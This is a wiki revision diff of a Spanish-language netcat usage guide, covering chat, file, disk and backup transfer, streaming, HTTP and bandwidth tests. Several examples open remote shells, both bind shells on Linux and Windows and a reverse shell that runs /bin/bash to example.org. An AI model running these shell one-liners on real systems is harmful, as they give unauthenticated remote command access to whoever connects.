meta data de esta página
  •  

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anteriorRevisión previa
Próxima revisión
Revisión previa
seguridad:herramientas:netcat [2013/01/01 19:31] lcseguridad:herramientas:netcat [2023/01/18 14:37] (actual) – editor externo 127.0.0.1
Línea 1: Línea 1:
 ====== Netcat ====== ====== Netcat ======
-Ejemplos  de uso 
- 
 <note warning>En las nuevas versiones de nc ya no hace falta el -p para indicar el puerto</note> <note warning>En las nuevas versiones de nc ya no hace falta el -p para indicar el puerto</note>
 +===== Ejemplos  de uso =====
 +=== Chat ===
  
-=== Un chat === +**Servidor** <code>nc -l 2000 </code> 
-Servidor <code>nc -l 2000 </code> +**Cliente** <code>nc localhost 2000</code>
-Cliente <code>nc localhost 2000</code>+
  
 === Transferencia de ficheros === === Transferencia de ficheros ===
-== Receptor del fichero == <code>nc -l 2000 > nombrefichero </code> + 
-== Emisor ==  +**Receptor:**<code>nc -l 2000 > nombrefichero </code> 
-<code>nc localhost 2000 < ficheroaenviar </code>+ 
 +**Emisor**<code>nc localhost 2000 < ficheroaenviar </code>
  
 Si queremos enviar el fichero comprimido desde el emisor hacemos  Si queremos enviar el fichero comprimido desde el emisor hacemos 
 <code> cat entrada.txt | gzip | nc remote.host 2000 -q 0 </code> <code> cat entrada.txt | gzip | nc remote.host 2000 -q 0 </code>
 +
 +Otra forma de hacerlo es :
 +
 +**Receptor**<code>"nc -l 4000 | tar xvf -"</code>
 +**Emisor**<code>"tar -cf - . | nc ipdestino 4000"</code>
 +
 +
 +=== Transferir un disco o partición ===
 +
 +**Receptor** <code>nc -l 2000|bzip2 -d|dd bs=16M of=/dev/sdb</code>
 +**Emisor**<code>dd bs=16M if=/dev/sda|bzip2 -c|nc servidor_receptor 2000</code>
  
 === Servidor de echo === === Servidor de echo ===
 Ponemos un servidor que ejecuta cat de modo que devolverá todo lo que se le envíe Ponemos un servidor que ejecuta cat de modo que devolverá todo lo que se le envíe
-== Servidor == +**Servidor** <code>nc -l 2000 -e /bin/cat </code> 
-<code>nc -l 2000 -e /bin/cat </code> +**Cliente** <code>nc localhost 2000 </code>
-== CLiente == +
-<code>nc localhost 2000 </code>+
  
 === Servidor de daytime === === Servidor de daytime ===
Línea 33: Línea 42:
 === shell remota === === shell remota ===
  
-== Servidor == +**Servidor** <code>nc -l -p 2000 -e /bin/bash</code>
- <code>nc -l -p 2000 -e /bin/bash</code>+
  
-== Cliente == +**Cliente** <code> nc ipservidor 2000</code>
- <code> nc localhost 2000</code>+
  
-=== Copia de seguridad remota ===+== Shell remoto en windows == 
 +**Servidor** <code>nc -l -d -e cmd.exe -p 6000 </code> 
 +**Cliente** <code>nc -vv ipservidor 6000 </code>
  
-== Receptor == 
-<code>netcat -l -p 3333 -v > backup.tgz </code> 
  
-== Emisor == +=== Copia de seguridad remota === 
-<code>tar -czvpf - /path/to/files | netcat -q 0 remote.host 3333 </code>+ 
 +**Receptor** <code>netcat -l -p 3333 -v > backup.tgz </code> 
 +**Emisor** <code>tar -czvpf - /path/to/files | netcat -q 0 remote.host 3333 </code>
  
 Para hacer una copia en plan bestia de todo el sistema puedes hacer: Para hacer una copia en plan bestia de todo el sistema puedes hacer:
Línea 55: Línea 64:
 En esta ocasión es el cliente quien pone el terminal remoto En esta ocasión es el cliente quien pone el terminal remoto
  
-== Servidor ==  +**Servidor** <code> nc -l -p 2000</code> 
-<code> nc -l -p 2000</code> +**Cliente** <code> nc server.example.org 2000 -e /bin/bash</code>
- +
-== Cliente ==  +
-<code> nc server.example.org 2000 -e /bin/bash</code>+
  
 === HTTP === === HTTP ===
  
 Es sencillo conseguir un cliente y un servidor HTTP rudimentarios. Es sencillo conseguir un cliente y un servidor HTTP rudimentarios.
-== Servidor == +**Servidor** <code> nc -l -p http -c “cat index.html”</code>
-<code> nc -l -p http -c “cat index.html”</code>+
  
 Al cual podemos conectar con cualquier navegador HTTP, como por ejemplo firefox. Al cual podemos conectar con cualquier navegador HTTP, como por ejemplo firefox.
-== Cliente == +**Cliente** <code>echo “GET /” | nc www.google.com 80 > index.html</code>
-<code>echo “GET /” | nc www.google.com 80 > index.html</code>+
  
 === Streaming de audio === === Streaming de audio ===
  
 Un sencillo ejemplo para hacer streaming de un fichero .mp3: Un sencillo ejemplo para hacer streaming de un fichero .mp3:
-== Servidor == +**Servidor**<code> nc -l -p 2000 < fichero.mp3</code>
-<code> nc -l -p 2000 < fichero.mp3</code>+
  
 y para servir todos los .mp3 de un directorio: y para servir todos los .mp3 de un directorio:
 <code>cat *.mp3 | nc -l -p 2000</code> <code>cat *.mp3 | nc -l -p 2000</code>
  
-== Cliente == +**Cliente**<code>nc server.example.org 2000 | madplay –</code>
-<code>nc server.example.org 2000 | madplay –</code>+
  
 === Streaming de video === === Streaming de video ===
-== Servidor == +**Servidor**<code>nc -l -p 2000 < pelicula.avi</code> 
-<code>nc -l -p 2000 < pelicula.avi</code> +**Cliente**<code>nc server.example.org 2000 | mplayer –</code>
-== Cliente == +
-<code>nc server.example.org 2000 | mplayer –</code>+
  
 === Proxy === === Proxy ===
Línea 100: Línea 100:
  
 Es este ejemplo voy a copiar un pen drive USB que está conectado al servidor a un fichero en el cliente y después lo voy a montar para acceder al contenido. Es este ejemplo voy a copiar un pen drive USB que está conectado al servidor a un fichero en el cliente y después lo voy a montar para acceder al contenido.
-== Servidor == +**Servidor**<code>dd if=/dev/sda1 | nc -l -p 2000 </code>
-<code>dd if=/dev/sda1 | nc -l -p 2000 </code>+
  
-== Cliente == +**Cliente**<code>nc server.example.org 2000 | dd of=pendrive.dump </code>
-<code>nc server.example.org 2000 | dd of=pendrive.dump </code>+
 <code>mount pendrive.dump -r -t vfat -o loop /mnt/usb</code> <code>mount pendrive.dump -r -t vfat -o loop /mnt/usb</code>
  
Línea 124: Línea 122:
  
 Es decir, usar el ratón conectado a una máquina para usar el entorno gráfico de otra. El ejemplo está pensado para Xorg. Es decir, usar el ratón conectado a una máquina para usar el entorno gráfico de otra. El ejemplo está pensado para Xorg.
-== Servidor == +**Servidor** <code>nc -l -p 2000 < /dev/input/mice</code> 
-<code>nc -l -p 2000 < /dev/input/mice</code> +**Cliente** Editar el fichero /etc/X11/xorg.conf y modificar la configuración del ratón para que queda así:
-== Cliente == +
-Editar el fichero /etc/X11/xorg.conf y modificar la configuración del ratón para que queda así:+
 <file> <file>
 Section "InputDevice" Section "InputDevice"
Línea 143: Línea 139:
 === Medir el ancho de banda === === Medir el ancho de banda ===
  
-== Servidor == +**Servidor**<code>nc -l -p 2000 | pv > /dev/null </code> 
-<code>nc -l -p 2000 | pv > /dev/null </code> +**Cliente**<code>nc server.example.org 2000 < /dev/zero </code>
-== Cliente == +
-<code>nc server.example.org 2000 < /dev/zero </code>+
  
 === Imprimir un documento en formato PostScript === === Imprimir un documento en formato PostScript ===
Línea 159: Línea 153:
   * http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf   * http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
   * http://www.guia-ubuntu.com/index.php?title=Netcat   * http://www.guia-ubuntu.com/index.php?title=Netcat
 +{{tag> netcat}}